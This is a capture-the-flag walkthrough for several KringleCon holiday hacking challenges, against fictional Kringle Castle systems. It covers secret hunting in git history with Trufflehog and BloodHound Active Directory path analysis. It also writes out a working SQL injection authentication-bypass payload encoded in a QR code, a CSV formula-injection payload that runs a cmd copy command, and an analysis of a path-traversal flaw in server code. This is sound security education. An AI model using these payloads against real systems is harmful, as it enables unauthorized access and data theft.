Background
- Terminal Challenge
For hints on achieving this objective, please visit Wunorse Openslae and help him with Stall Mucking Report Cranberry Pi terminal challenge.
- Badge Hint
We visit Wunorse, who tells us:
Brian Hostetler is giving a great Trufflehog talk upstairs.
Solution
When we pull up the Git repository, we find a project called
"santas_castle_automation." Our first hurdle is retrieving the
encrypted ZIP file. The GitLab site has a "Find File" button on
the right side of the page. Searching for zip
yields:
Figure 21: zip paths in santas_castle_automation GitLab
ventilation_diagram.zip
catches our attention, so we download
that from the website. Is this the encrypted ZIP file which we
seek? Trying to open it prompts us for a password, so it seems
likely that we've found it. Viewing the history and the commit
where this file was added also reveals the following comment:
Figure 22: Shinny's comment on ventilation_diagram.zip
As we skim over the README that's displayed as we scroll down, we see the following message from Shinny:
We all get what we git, then we git what we've got.
When we're full of old pulls, then we're holding a lot.
Do you wonder what happens to things that we thought,
Were too private then trampled with things that were not?
I assume that our secrets are gone from the cloud.
They still sit here in local reposit'ries' shroud,
But I heard that old Redberry was rather wowed,
When she found out her keys were exposed - wasn't proud.
So when I found that I had thown creds with a push,
Pretty sure I did stomp them with clean files - smoosh!
If you find an old password 'neath folder or bush,
Would you kindly play nice and say nothing - just shush?"
This, combined with the hint, strongly suggest that there are some secrets hidden in this repository. We've never tried Trufflehog before. Following along in Brian's video, we can try the command from the Trufflehog's README.
$ pip install truffleHog Collecting truffleHog Downloading https://files.pythonhosted.org/packages/6a/30/efbdeb399c543b052c31c05fa7dab78cd6d02d26934c087b83adb1b83c93/truffleHog-2.0.98-py2.py3-none-any.whl Requirement already satisfied: GitPython==2.1.1 in /usr/local/lib/python2.7/site-packages (from truffleHog) (2.1.1) Requirement already satisfied: truffleHogRegexes==0.0.7 in /usr/local/lib/python2.7/site-packages (from truffleHog) (0.0.7) Requirement already satisfied: gitdb2>=2.0.0 in /usr/local/lib/python2.7/site-packages (from GitPython==2.1.1->truffleHog) (2.0.5) Requirement already satisfied: smmap2>=2.0.0 in /usr/local/lib/python2.7/site-packages (from gitdb2>=2.0.0->GitPython==2.1.1->truffleHog) (2.0.5) Installing collected packages: truffleHog Successfully installed truffleHog-2.0.98 $ truffleHog --regex --entropy=False https://git.kringlecastle.com/Upatree/santas_castle_automation.git ~~~~~~~~~~~~~~~~~~~~~ Reason: RSA private key Date: 2018-12-11 02:29:03 Hash: 6e754d3b0746a8e980512d010fc253cbb7c23f52 Filepath: schematics/files/dot/ssh/key.rsa Branch: origin/master Commit: cleaning files -----BEGIN RSA PRIVATE KEY----- ~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~ Reason: RSA private key Date: 2018-12-11 01:25:21 Hash: c376f995b44caf502992ddb617a34e7d38d7bbc1 Filepath: schematics/files/dot/ssh/key.rsa Branch: origin/master Commit: support files for Santa's drone functions -----BEGIN RSA PRIVATE KEY----- ~~~~~~~~~~~~~~~~~~~~~
Interesting… some private SSH keys. The top commit catches our eye, as the message is "cleaning files." Could this be what Shinny was talking about, when he said "So when I found that I had thown creds with a push, Pretty sure I did stomp them with clean files - smoosh!?"
No passwords, though. The video continues to mention the second command from the README, so let's try that. The README states that the first command we ran cuts down on the noise, but as we haven't found the password yet, we'll expand the search:
$ truffleHog https://git.kringlecastle.com/Upatree/santas_castle_automation.git ... Reason: High Entropy Date: 2018-12-11 01:16:57 Hash: 0dfdc124b43a4e7e1233599c429c0328ec8b01ef Filepath: schematics/for_elf_eyes_only.md Branch: origin/master Commit: important update @@ -1,15 +0,0 @@ -Our Lead InfoSec Engineer Bushy Evergreen has been noticing an increase of brute force attacks in our logs. Furthermore, -Albaster discovered and published a vulnerability with our password length at the last Hacker Conference. - -Bushy directed our elves to change the password used to lock down our sensitive files to something stronger. Good thing - he caught it before those dastardly villians did! - - -Hopefully this is the last time we have to change our password again until next Christmas. - - - - -Password = 'Yippee-ki-yay' - - -Change ID = '9ed54617547cfca783e0f81f8dc5c927e3d1e3' - ~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~ Reason: High Entropy Date: 2018-12-11 01:14:41 Hash: c61af60810e77c8b91c8d29c1303da4bfefde66b Filepath: sysctl/metadata.json Branch: origin/master Commit: Santa's Castle ICS ...
This finds a lot of hits, but the second from the last commit catches our eye. The filepath is schematics/for_elf_eyes_only.md
, and there's a line:
Password = 'Yippee-ki-yay'
Trying to open the ZIP file again, we enter that password and discover maps of the ventilation system!
Yippee-ki-yay
AD Privilege Discovery
Goal
Using the data set contained in this SANS Slingshot Linux image, find a reliable path from a Kerberoastable user to the Domain Admins group. What’s the user’s logon name? Remember to avoid RDP as a control path as it depends on separate local privilege escalation flaws.
Background
Solution
To start, we download and run the VM.
On the social medias, we read reports of people having issue opening this VM. Some people suggested changing the architecture to 64-bit, or using VMware instead.
When the VM launches, we're in a Slingshot Linux instance. We notice a shortcut to Bloodhound on the desktop:
Figure 23: VM Launch Screen
When we launch Bloodhound, we open up a dataset for
AD.KRINGLECASTLE.COM
. Because Bloodhound is already installed,
and the data is pre-imported for us, we can skip ahead in the
video that Holly linked us to (around the 4:27 mark). We learn
that the quickest way to get started is to explore the Queries
tab. Our task is to find a path from a Kerberoastable user to the Domain Admins group. As we scroll down the Pre-Built Analytics Queries list, we see that there's a query for almost exactly that:
Figure 24: Shortest Paths to Domain Admins from Kerberoastable Users
We see a few options, and a few paths. Our objective tells us one further thing: "Remember to avoid RDP as a control path as it depends on separate local privilege escalation flaws."
As we explore Bloodhound's interface, we find an Edge Filter option, and we can disable "CanRDP."
Figure 25: Edge Filtering in Bloodhound
This provides us with the following graph:
Figure 26: Bloodhound Result
It looks like our answer is Leanne Dubej's user:
<EMAIL_ADDRESS>But what does this graph mean?
- Leanne (LDUBEJ00320) is a member of the IT_00332 Active Directory group.
- That group has Administrator privileges on the COMP00185 system.
- Jena (JETAK00084) has an active session on the COMP00185 system.
- Jena is a Domain Administrator.
Administrators have unfettered access to a system. One of their superpowers is to be able to steal access tokens from other users on that system, and impersonate them. Because Jena has an active session on a system that Leanne is an admin on, Leanne could steal Jena's token, and use it to perform actions as a domain admin.
The other remaining question is what exactly is meant by a "Kerberoastable" user? Kerberoast is "a series of tools for attacking MS Kerberos implementations." If an account has a Service Principal Name (SPN) associated with it, it's vulnerable to offline cracking attacks. Kerberoastable users are simply users that have SPNs associated with their accounts. In our case, Leanne has an SPN, and if we use Kerberoast to access her account, Bloodhound has found a path for us to elevate all the way to Domain Admin.
Badge Manipulation
Goal
Bypass the authentication mechanism associated with the room near Pepper Minstix. A sample employee badge is available. What is the access control number revealed by the door authentication panel?
Background
- Terminal Challenge
For hints on achieving this objective, please visit Pepper Minstix and help her with the Yule Log Analysis Cranberry Pi terminal challenge.
- Elf Chat
After we identify the targeted account in the Yule Log Analysis terminal, Pepper points us to the following resources:
All of the Kringle Castle employees have these cool cards with QR codes on them that give us access to restricted areas.
Unfortunately, the badge-scan-o-matic said my account was disabled when I tried scanning my badge.
I really needed access so I tried scanning several QR codes I made from my phone but the scanner kept saying "User Not Found".
I researched a SQL database error from scanning a QR code with special characters in it and found it may contain an injection vulnerability.
I was going to try some variations I found on OWASP but decided to stop so I don't tick-off Alabaster.
- Badge Hint
Pepper links us to: Creating QR barcodes and SQL Injection
Solution
Clicking on the Scan-O-Matic brings up the following interface:
Figure 27: Scan-O-Matic in action
As we interact with the scanner, we see there are two things we can do: scan our fingerprint, or plug in a USB 3.0 drive. Scanning our fingerprint processes the still from the video camera, while the USB drive brings up a file selection window for a file upload.
The objective also gave us a sample employee badge:
Figure 28: If found, please return to Alabaster
First thing we try is uploading the badge via the file upload functionality. No dice:
Figure 29: Error 1: PNG files only
That's fine. We can do some file conversion, either by "Save
As…" or from the command line: convert alabaster_badge.jpg
alabaster_badge.png
. Now we're uploading the right format:
Figure 30: Error 2: Authorized User Account Has Been Disabled!
Perhaps Alabaster's access was revoked when he reported his badge as stolen. These elves are really on top of security…
Pepper's hints are pointing us towards SQL injection via the QR code, so let's start by taking a closer look at the QR code on Alabaster's badge. The Creating QR barcodes website she provided also has a scan function (as do many cellphone camera apps). We ended up using a different site, as we can just link to Alabaster's badge URL, and we don't have to use our webcam. The results are fairly cryptic, but they do seem to be plain text:
Decode Succeeded Raw text oRfjg5uGHmbduj2m Raw bytes 41 06 f5 26 66 a6 73 57 54 74 86 d6 26 47 56 a3 26 d0 ec Barcode format QR_CODE Parsed Result Type TEXT Parsed Result oRfjg5uGHmbduj2m
As we turn our attention to the OWASP link she mentioned, we see this interesting looking snippet:
Figure 31: Auth Bypass
We can use the Creating QR barcodes website to create a new QR
code, with the snippet provided or 1-- -' or 1 or '1"or 1 or"
,
and then save it (making sure to save it as a PNG). Now we can
upload our new code to the Scan-O-Matic:
Figure 32: Error 2a: Authorized User Account Has Been Disabled!
Same error. But, this wasn't a total failure. We've confirmed that
we can send arbitrary text as a QR code. Let's take a step back,
and simplify our injection attempt. The OWASP webpage has several
good examples, but let's just send the simplest case: '
.
Figure 33: Error 3: Exception at line 96
EXCEPTION AT (LINE 96 "user_info = query("SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '{}' LIMIT 1".format(uid))"): (1064, u"You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '''' LIMIT 1' at line 1")"
The error is hard to read as it scrolls across, but we can use the
Network
Developer Tools tab to view the whole thing. Still, it's
hard to parse, so we'll take a closer look. It's an error from the
MariaDB (née MySQL) database server. We also see a code snippet from Scan-O-Matic:
query("SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '{}' LIMIT 1".format(uid))"
From this, we can figure out the database query was something like:
SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '$QR_UID' LIMIT 1
The QR code seems to supply the uid
parameter (this is the only
variable on that line; everything else is hard-coded). When we
submitted a uid
of just a single-quote, the SQL database server
complained of a syntax error. Let's play around with this a little
bit, to better understand what's going on. A good tool for this is
sqltest.net. From the query, we know that we're searching the
employees
table. The query is requesting the fields
first_name
, last_name
, enabled
be returned, and it's
filtering on the fields authorized
and uid
. So we can mock up
a simple example (in fact the example when we load sqltest.net
already is pretty close, as it has id
, first_name
, and
last_name
).
CREATE TABLE employees ( uid VARCHAR(30), first_name VARCHAR(30), last_name VARCHAR(30), authorized INT, enabled INT ); -- We have the UID from Alabaster's badge, and we know he's been disabled INSERT INTO `employees` (`uid`, `first_name`, `last_name`, `authorized`, `enabled`) VALUES ('oRfjg5uGHmbduj2m', 'Alabaster', 'Snowball', 1, 0); -- We create an employee who is authorized and enabled INSERT INTO `employees` (`uid`, `first_name`, `last_name`, `authorized`, `enabled`) VALUES ('good_uid', 'Pepper', 'Minstix', 1, 1);
We decided to make the authorized
and enabled
fields integers
because the query has authorized = 1
. The lack of quotes tells
us it's not a string.
We'll start by trying our query with the UID from Alabaster's badge: SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = 'oRfjg5uGHmbduj2m' LIMIT 1;
:
Figure 34: Sending Alabaster's badge to sqltest.net
We got our expected result, but Alabaster's not enabled. Now let's try sending a single quote, and see if we can duplicate the error message:
Figure 35: Sending a single quote to sqltest.net
We get the following error message, which matches almost exactly the error message we got from Scan-O-Matic: =You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' LIMIT 1' at line 2=. The cause of the error is that we've created a query with a string that doesn't close (there's no closing single-quote).
We've discovered a SQL injection! Now we need to exploit it to gain access to the door. We start by trying the following query:
SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '' OR uid != '' LIMIT 1;
We're looking for an authorized user, whose uid is either empty or not empty. In other words, this should match everyone.
Figure 36: Matching anyone on sqltest.net
Well, no more error, but we still only get Alabaster's user. Even
though our search should match everyone, the LIMIT 1
clause will
only return one result, and just our luck, that one result is not
enabled. No problem – we can just also require that the user be enabled:
SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '' OR enabled = 1 OR uid = '' LIMIT 1;
This query seems a bit repetitive, and it is, because we're
limited in what queries we can build. What we're searching on is
that a user must have an empty uid
OR be enabled OR have an
empty uid
. We're not sure if anyone has an empty uid
, but the
user that's returned matches the other criteria: their account is enabled.
Figure 37: Requiring an enabled user on sqltest.net
We found a query which works in our little sandbox, but how do we make it work on Scan-O-Matic? We start by comparing the queries:
-- Scan-O-Matic: SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '$QR_UID' LIMIT 1; -- Our query: SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '' OR enabled = 1 OR uid = '' LIMIT 1;
The UID from the QR code gets put in between single quotes, which is why our query was rather odd. We needed to construct it in such a way so that it would both start and end with a string.
So, if we just set the uid
parameter to ' OR enabled = 1 OR uid
='
, we should be able to run this query on Scan-O-Matic:
Figure 38: Access Granted!
User Access Granted - Control number 19880715
Careers
Goal
Santa uses an Elf Resources website to look for talented information
security professionals. Gain access to the website and fetch the
document C:\candidate_evaluation.docx
. Which terrorist
organization is secretly supported by the job applicant whose name
begins with "K."
Background
- Terminal Challenge
For hints on achieving this objective, please visit Sparkle Redberry and help her with the Dev Ops Fail Cranberry Pi terminal challenge.
- Elf Chat
Sparkle helpfully points out that her OpSec isn't as bad as Tangle's, by saying:
I wonder if Tangle Coalbox has taken a good look at his own employee import system.
It takes CSV files as imports. That certainly can expedite a process, but there's danger to be had.
I'll bet, with the right malicious input, some naughty actor could exploit a vulnerability there.
I'm sure the danger can be mitigated. OWASP has guidance on what not to allow with such uploads.
- Badge Hint
Sparkle also points us to the OWASP CSV Injection Page, and tells us:
Somehow Brian Hostetler is giving a talk on CSV injection WHILE he's giving a talk on Trufflehog. Whatta' guy!
- Relevant KringleCon Videos
Solution
Bringing up the webpage, we're presented with a simple form:
Figure 39: Elf Resources website home
Filling in the form, the page forces us to attach a file before submitting. If we do that, we receive the following message:
Figure 40: Elf Resources submission message
Both the objective and the submission message told us the file we
need to retrieve, C:\candidate_evaluation.docx
. We next simply
tried https://careers.kringlecastle.com/candidate_evaluation.docx,
and got the following:
Figure 41: Elf Resources 404
What a helpful error message! Unfortunately, trying https://careers.kringlecastle.com/public/candidate_evaluation.docx similarly doesn't work. But now, we know two critical pieces of information:
- We're trying to access
C:\candidate_evaluation.docx
- Files in
C:\careerportal\resources\public\
are publicly accessible via the web server.
Time to turn our attention to the hints, and see how we can get our target file into the public directory. Brian's talk gives some guidance on how to build a CSV to execute an arbitrary command. We choose a name designed to not conflict with other KringleCon attendees.
=cmd|'/C copy C:\\candidate_evaluation.docx C:\\careerportal\\resources\\public\\ZXNuZXRfc2VjdXJpdHkK.docx'!A0
Uploading this file, we then try to access https://careers.kringlecastle.com/public/ZXNuZXRfc2VjdXJpdHkK.docx. After ~10-15 seconds, we download a Word Doc. The download evaluates 4 elves, including Krampus:
Figure 42: Krampus Evaluation
The document reveals that Krampus is connected to cyber terrorist organization Fancy Beaver (a play on the Fancy Bear APT group).
Answer:
Fancy Beaver
PCAPalyzer
Goal
Santa has introduced a web-based packet capture and analysis tool at https://packalyzer.kringlecastle.com to support the elves and their information security work. Using the system, access and decrypt HTTP/2 network activity. What is the name of the song described in the document sent from Holly Evergreen to Alabaster Snowball?
Background
- Terminal Challenge
For hints on achieving this objective, please visit SugarPlum Mary and help her with the Python Escape from LA Cranberry Pi terminal challenge.
- Elf Chat
After we help SugarPlum escape, she tells us:
Yay, you did it! You escaped from the Python!
As a token of my gratitude, I would like to share a rumor I had heard about Santa's new web-based packet analyzer - Packalyzer.
Another elf told me that Packalyzer was rushed and deployed with development code sitting in the web root.
Apparently, he found this out by looking at HTML comments left behind and was able to grab the server-side source code.
There was suspicious-looking development code using environment variables to store SSL keys and open up directories.
This elf then told me that manipulating values in the URL gave back weird and descriptive errors.
I'm hoping these errors can't be used to compromise SSL on the website and steal logins.
On a tooootally unrelated note, have you seen the HTTP2 talk at at KringleCon by the Chrises? I never knew HTTP2 was so different!
- Relevant KringleCon Videos
Solution Part 1: Downloading the SSL Key Logfile
A lot of hints on this one. We start by loading up Packalyzer, and trying to find the HTML comments. We have access to two pages initially, the home page, and the new user registration page. We can't find any hidden comments in either one, so we go ahead and register a new user, and then sign in with our new account.
At this point, the Packalyzer allows us to sniff 20 seconds of traffic, and then download the PCAP.
Once we're authenticated, we can find the following comment in the page source:
//File upload Function. All extensions and sizes are validated server-side in app.js $(function () { 'use strict'; $('#fileupload').fileupload({
https://packalyzer.kringlecastle.com/app.js doesn't work, but we
also noticed some resources being loaded from
https://packalyzer.kringlecastle.com/pub/, and we can recover
the server-side source code of app.js
from
https://packalyzer.kringlecastle.com/pub/app.js
Folllowing SugarPlum's hints, we found the comment, and grabbed the server-side source code sitting in the web root. Now we need to identify the environment variables used to store SSL keys:
const dev_mode = true; const key_log_path = ( !dev_mode || __dirname + process.env.DEV + process.env.SSLKEYLOGFILE ) const options = { key: fs.readFileSync(__dirname + '/keys/server.key'), cert: fs.readFileSync(__dirname + '/keys/server.crt'), http2: { protocol: 'h2', // HTTP2 only. NOT HTTP1 or HTTP1.1 protocols: [ 'h2' ], }, keylog : key_log_path //used for dev mode to view traffic. Stores a few minutes worth at a time };
Let's take this line by line. In the development copy we have,
dev_mode
is set to true. key_log_path
uses some short-hand
syntax, which could also be written as:
if ( dev_mode ) const key_log_path = __dirname + process.env.DEV + process.env.SSLKEYLOGFILE;
Finally, once key_log_path
is set, the comment tells us that
it's used to view traffic. Our hints seem to point us to
recovering this file, and then using it to decrypt the
traffic. Perhaps the file was left over from development. We need
to figure out what the environment variables DEV
and
SSLKEYLOGFILE
were set to.
The main logic of the file is the router.get
function. An annotated version is:
//Route for anything in the public folder except index, home and register router.get(env_dirs, async (ctx, next) => { try { var Session = await sessionizer(ctx); // Splits the web path into an array delimited by / // e.g. /pub/dir/../file -> ["pub", "dir", "..", "file"] let split_path = ctx.path.split('/').clean(""); //Grabs directory which should be first element in array // e.g. ["pub", "dir", "..", "file"] -> "PUB" let dir = split_path[0].toUpperCase(); // Removes the first element of the array // e.g. ["pub", "dir", "..", "file"] -> ["dir", "..", "file"] split_path.shift(); // e.g. ["dir", "..", "file"] -> "/dir/../file" let filename = "/" + split_path.join('/'); // This removes any instances of ".." to prevent path traversal attacks // e.g. "/dir/../file" -> "/dir//file" while (filename.indexOf('..') > -1) { filename = filename.replace(/\.\./g,''); } // Only execute if the filename is not 'index.html', 'home.html', or 'register.html' if (!['index.html', 'home.html', 'register.html'].includes(filename)) { // Build the filename, and set the content type header accordingly ctx.set('Content-Type', mime.lookup(__dirname + (process.env[dir] || '/pub/') + filename)) // Read the file, and send it as the body ctx.body = fs.readFileSync(__dirname + (process.env[dir] || '/pub/') + filename) } // For 'index.html', 'home.html', or 'register.html', return a 404 instead. else { ctx.status = 404; ctx.body = 'Not Found'; } // If anything we've tried so far generated an error, return that error as the body } catch (e) { ctx.body = e.toString(); } });
Going through this, especially with an example, we can understand the logic. Sometimes it's useful to try running a command, and seeing what the output is. In cases like this, we pull up the Javascript console of our browser's developer tools again:
Figure 43: Testing JS code in our console
Our attention is drawn to how the code builds the filename:
ctx.body = fs.readFileSync(__dirname + (process.env[dir] || '/pub/') + filename)
Again, we'll expand this logic out a bit:
// e.g. ["pub", "dir", "..", "file"] -> "PUB" let dir = split_path[0].toUpperCase(); if ( process.env[dir] ) var dir = process.env[dir]; else var dir = '/pub/'; ctx.body = fs.readFileSync(__dirname + dir + filename)